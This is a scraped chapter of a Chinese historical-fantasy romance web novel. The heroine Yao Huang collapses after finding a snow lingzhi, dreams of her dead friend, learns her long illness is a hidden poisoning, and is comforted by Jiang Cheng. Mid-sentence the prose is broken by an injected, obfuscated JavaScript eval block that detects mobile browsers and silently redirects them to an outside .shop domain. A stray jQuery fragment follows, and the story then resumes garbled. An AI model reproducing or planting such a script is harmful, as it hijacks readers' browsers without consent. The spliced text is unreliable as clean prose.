她的话不假,离开武派的人就不可以再回后山。
辛时像是想到了什么,没有继续阻拦,也没有继续训练,朝着相反的方向走去。
姚黄眼瞧着难缠的人走了,拉着江程就继续往前走。
“他是谁?”
“绵绵的同门。”
简短的对话后两人终于抵达了药谷,哪怕是冬季,这里的草药依旧遍地都是。
他们要找的雪灵芝生长条件极为刁钻,既要在高处,又得拥有肥沃的土壤,刮风下雨还极容易死亡。
着实不好找。
正当她一筹莫展的时候,江程已经率先飞到了一个山壁上。
“那里土壤贫瘠的很,不会有……”
口中劝阻的话没说完,只见江程已经将雪灵芝放在手里飞了下来。
“上头有鸟儿筑巢,少不了它的营养。”
他笑着将雪灵芝递到她面前:“应当就是它了。”
姚黄眼睛锃亮,猛猛的点头道:“对,没错!”
她欣喜若狂,一时激动下突感天旋地转,翻了个白眼晕了过去。
“姚黄。”
“姚黄!”
声音越来越轻,像是坠入了无间的地狱。
梦中,只觉一片冷意,她身穿里衣,光着双脚站在寒冷的地板上,漫无目的的走着。
忽然间,苏红樱披头散发的站在自己面前,原本鲜红的衣服因着刀剑的刺入而显得格外瘆人。
她声音很轻,没有往日的活泼,死气沉沉道:“阿云,跟我一起走吧。”
姚黄抬起双手,眼神涣散,嘴角无意识的扬起微笑:“好。”
她跟在她身后,眼睛流出几滴泪,神情哀伤:“红缨,对不起……”
只见对面的人落下几滴血泪,无神道:“陪着我吧,这里这么冷,这么黑,我害怕。”
“我……”
她皱着眉头,心里万分抗拒,可身体还是不由自主的向前走,眼瞧着就要到了黑暗处,忽觉指尖一暖。
有人拽着她快步转身离开了这个阴冷湿暗的地方。
她努力的想要看清那个人是谁,可是因着身高差距,她怎么都看不到手底下的那个人。
那小孩似乎是知道了她的想法,将她调转了个方向后自己跑回了黑暗处。
这一次,姚黄睁着双眼看的很清楚,那是小时候的苏红樱。
小小的人伸开双臂向她招着手,脸中带笑,通神散发的红光驱散黑暗,再不会坠入无间地狱。
江程坐在床边,忽觉姚黄方才冰冷的手终于恢复了暖意,他激动起来,赶忙去叫了百里谷主。
迷迷糊糊间,姚黄睁开了双眼,床边闹哄哄的,真是好一阵热闹。
“我怎么了?”她扶着发痛的脑壳,有气无力问道。
百里青冈将银针放好,有些生气道:“你差点就死了,还怎么了。”
“昨日让你好好休息,你偏不肯,顶着黑眼圈跑去后山找什么药草!”
“若不是他及时把你背回来,你小命不知道还在不在!”
他一顿输出,藏不住的气愤,谁知那床上的丫头却是张口问道:“雪灵芝呢?”
“连同那两件一起,差人送走了。”
江程走向前,轻声回答着她。
“这么快?”她有些惊讶,自己难不成昏了很长时间?
“你这丫头只知道摘,可管过它能不能活啊。”
“雪灵芝娇贵得很,需得尽快适应新地方,这才让武派的弟子快马加鞭送回了京城。”
姚黄听完这解释后才心生平静,转头问起了病情:“我可是旧疾犯了?”
百里青冈点头肯定,叹息道:“你体内的毒又蔓延开了。”
“毒?”
“我不是得了寒症吗?”
她有些不明白,什么时候自己中毒了。
“你不知道?”
“当年就是因为我不擅解毒才劝你爹带你去了京城啊。”
百里青冈心里也是奇怪,这一家人瞒着她的病情作甚,虽然难解,到底是稳定下来了,没理由不告诉她吧。
姚黄艰难的坐起,不信的问道:“我自打来药谷就是中了毒?”
“可是你当时分明告诉我,我是得了慢性的寒症,不可急于一时。”
她轻喘着气,呼吸急促了几分。
“当时你年纪小,你娘怕你接受不了,才让我这么说的。”
“我也没想到他们瞒了这么久。”
百里青冈摇头解释,作势写了药单下去并嘱咐道:“切勿过劳过激,这里不比京城,瘴气重,不利于你的病情。”
姚黄眼眸微动,有些恍惚,不利于病情吗?
“你们先出去吧,我想再睡会。”
她转身侧躺,心里盘算起了往事。
当初,她大病初愈,一心想回岭南,父亲说什么都不肯。
“如今阿父仕途正盛,我们不好现在回去。”
姚黄心里委屈,说什么也不肯:“岭南也有百姓需要阿父,我们回去吧。”
“我想外祖父外祖母了。”
“阿父,我们回家吧。”
“我想回家。”
小小的她百般恳求,得到的答案都是那一个:不能回岭南。
那时的她并不明白怎样的官途能让阿父断了与岭南的来往,一待就是十年。
她将所有情绪发泄给阿父,甚至……有些怨恨他。
如今她躺在床上,依稀找到了缘由。
不是为了什么所谓的官途,是因为她的病情,根本就不能常年待在岭南。
为了不让她自责多想,家里人就这么瞒到现在,甚至将一切原因推到父亲身上。
因为自己,阿母也多年不曾回家。
她怎么能这么自私呢……
压抑的心情再次上来,她忽感一阵急促,呼吸再难稳下来。
又是这可恶的病症,引得她头昏脑涨,搞得她远离家乡……
她在被窝里,双手环抱着自己,指甲狠狠地陷进肉里,试图用另一种痛来缓解毒发时的痛苦。
大颗的汗珠自她的额头滚落,蜷缩的身体在此刻再不能轻易挪动半分。
她轻闭双眼,仿佛又回到什么也不能做的时候。
孤寂,废物……
痛苦之际,有人推门而进。
“药已经准备好了。”
江程进来便看到蜷缩身体的姚黄,放下汤药就朝这边走来。
“可是毒发的厉害了?我扶你起来把药吃了。”
他将她扶起,手触碰到的瞬间,湿润感快速袭来,汗水几乎就要将她的衣衫浸湿。
“都这么久了还是这死样子,喝不喝药又有何分别。”
她轻颤着睫毛,求死的心从未这么高过。
江程也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619023|205789||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不免被她颓废的样子吓到,端起药碗道:“百里谷主说了,你是多方原因加在一起才突然毒发。”
“礼钰是常太医的徒弟,又常年醉心于解毒之法,我已传信让他赶来。”
他细声的劝着她,将汤药端的更近了些。
姚黄这次没有再抗拒,犹豫下端起药一口气饮下。
“礼公子,不是陛下的御医吗?”
听闻只给陛下诊治,平时自由闲散,也因此被遭了不少弹劾。
江程接过药碗,不在意道:“这不正好帮他正名。”
“免得总有人说他无所事事,占着茅厕……”
他紧急闭上嘴巴,尴尬一笑。
姚黄停见他说这些不入流的俗话不免一阵发笑。
她眉眼弯弯,泛白的嘴唇终于有了弧度。
他这般看着,心里也跟着开心起来。
武派的人身手个顶个,快马加鞭不过三日便抵达了皇宫。
紫宸殿中,江景看着眼前陈列的三件宝物,忽然体会到乔淑内心的恐慌。
她最知道他,若不是到了危机十分,断不会加快速度,只是……
他不知道自己的身体还能坚持多久。
礼钰自殿外赶来,扑通一声便跪了下去。
“陛下恕罪,臣现在不能走。”
他伏身跪在地上,手里攥紧衣袖。
“天下大事,岂容你抗旨。”
江景表情严肃,威严依旧,只是声音微小了几分。
礼钰常年给陛下诊治,自是清楚他现在的身体,说什么也不愿走。
“陛下龙体……”
“朕的身体自己最清楚不过。”
他摆手阻止对方接下来的话,说什么也得让他走。
礼钰无奈,只得临走时留下应急的回魂丹,轻叹离了皇宫。
南山上,江程终是瞧不下去,将整日锁在房内的姚黄拉了出来。
“想吃烤全羊吗?”
他眸子微闪,很快就从山上猎下一头山羊。
姚黄蹲坐在地上,若无其事的瞧着对方娴熟的手法,心里也放松不少。
她仰头沐浴着多日不见的阳光,不由自主的想说出些心事。
“我梦见红樱了。”
她看着架子上火热的羊肉,眼神瞟过江程,继续道:“她还是那般好,梦里都舍不得让我受一丝委屈。”
树枝在烈火中燃烧,她的心随着火星而翻腾,喉咙哽咽干涩,深吸了好大一口气。
江程没有接上方才话,拍了拍手上的灰尘,起身开口:“想听曲子吗?”
他话题转移的很快,原本有些伤感的氛围被他很快打破。
她发愣似的点头,殊不知对方会将古琴取来。
常年待在房中的古琴架在草地上,真真正正的接触了自然。
他双手拨动琴弦,一个空灵的声音传进耳朵。
深山古寺中早已荒废的远钟像是蓄势待发了许久,终于,在此刻拨出清音。
抬手间,仿若听到山涧的溪流声,大珠小珠,几近跳跃。
内心的悲伤在此刻停下,她静静的听着对方弹奏,内心的镜湖泛起波澜,岸边的桃花开的正好。
她精通音律,对方的这曲《流水》,着实有几分功底。
不等她夸赞,对方率先开口:“高山流水,一切都是过往浮云。”
是曲子,亦是人生。